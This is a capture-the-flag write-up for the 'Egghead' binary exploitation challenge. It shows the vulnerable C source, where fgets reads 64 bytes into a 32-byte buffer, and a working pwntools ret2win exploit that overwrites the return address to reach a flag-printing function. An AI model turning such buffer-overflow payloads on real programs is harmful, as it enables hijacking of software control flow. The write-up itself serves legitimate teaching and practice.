Write-up of the challenge “Egghead”#

This challenge is part of the “Binary exploitation” category and is worth 191 points.

Goal of the challenge#

The objective of this challenge is to use the bof to ret2win.

Program structure#

1
#include <stdlib.h>
2
#include <stdio.h>
3
#include <stdint.h>
4
#include <string.h>
5

6
#define MAX_ANSWER_LEN 64
7

8
void win() {
9
    puts("getittwisted:");
10
    FILE *f = fopen("flag", "r");
11
    int c;
12
    while ((c = fgetc(f)) != EOF) putchar(c);
13
    putchar('\n');
14
}
15

16
void name() {
17
    char answer[32];
18
    while (1) {
19
        puts("Name a movie.");
20
        printf("> ");
21
        fgets(answer, MAX_ANSWER_LEN, stdin);
22
        answer[strcspn(answer, "\n")] = '\0';
23
        if (strcmp(answer, "Happy Gilmore") == 0) {
24
            puts("Now that's cinema.");
25
            return;
26
        }
27
        puts("Not cinema.");
28
    }
29
}
30

31
int main() {
32
    setbuf(stdin, NULL);
33
    setbuf(stdout, NULL);
34
    name();
35
}

1
void name(void)
2
{
3
    char v0[32];  // [bp-0x28]
4

5
    while (true)
6
    {
7
        puts("Name a movie.");
8
        printf("> ");
9
        fgets(&v0, 64, stdin);
10
        v0[strcspn(&v0, "\n")] = 0;
11
        if (!strcmp(&v0, "Happy Gilmore"))
12
            break;
13
        puts("Not cinema.");
14
    }
15
    puts("Now that's cinema.");
16
    return;
17
}

Security breach#

The secruity breach here is bof:

1
fgets(&v0, 64, stdin);

Solution#

So the goal here is clear we need to bypass the first check if (!strcmp(&v0, “Happy Gilmore”)) and then perform ret2win. So how strcspn works by reading till hitting a null byte and we will exactly do that. After that we will continue and overwrite the RIP (0x28 + 8) with the win function and I will make sure to put a ret for stack aligment incase of misaligment!

1
from pwn import *
2

3
# p = process("./egghead")
4
p = remote('egghead-035e0f00c11650a5.instancer.batmans.kitchen', 1337, ssl=True)
5

6
e = ELF("egghead")
7

8
rop = ROP(e)
9

10
ret = rop.find_gadget(["ret"])[0]
11
win = e.sym['win']
12

13
offset = 0x28
14

15
cinema = b'Happy Gilmore\x00'
16

17
payload = cinema + b'A' * (offset - len(cinema)) + p64(ret) + p64(win)
18

19
p.sendline(payload)
20

21
p.interactive()